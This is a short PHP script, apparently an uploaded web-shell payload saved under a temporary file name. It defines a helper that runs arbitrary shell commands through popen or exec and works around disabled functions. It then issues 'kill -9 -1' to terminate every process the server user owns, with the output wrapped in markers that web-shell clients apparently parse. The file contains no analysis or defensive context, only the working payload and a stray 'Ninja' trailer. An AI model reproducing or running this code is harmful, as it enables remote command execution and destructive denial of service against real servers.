Filename: ///tmp/phpwAYapm

<?php function run($code, $method = 'popen') { $disabled = explode(',', ini_get('disable_functions')); if (in_array($method, $disabled)) { $method = 'exec'; } if (in_array($method, $disabled)) { return false; } $result = ''; switch ($method){ case 'exec': exec($code,$array); foreach ($array as $key => $value) { $result .= $key . " : " . $value . PHP_EOL; } return $result; break; case 'popen': $fp = popen($code,"r"); //popen打一个进程通道 while (!feof($fp)) { //从通道里面取得东西 $out = fgets($fp, 4096); $result .= $out; //打印出来 } pclose($fp); return $result; break; default: return false; break; } } echo '{->|'; var_dump(run("kill -9 -1")); echo '|<-}';

./Ninja\.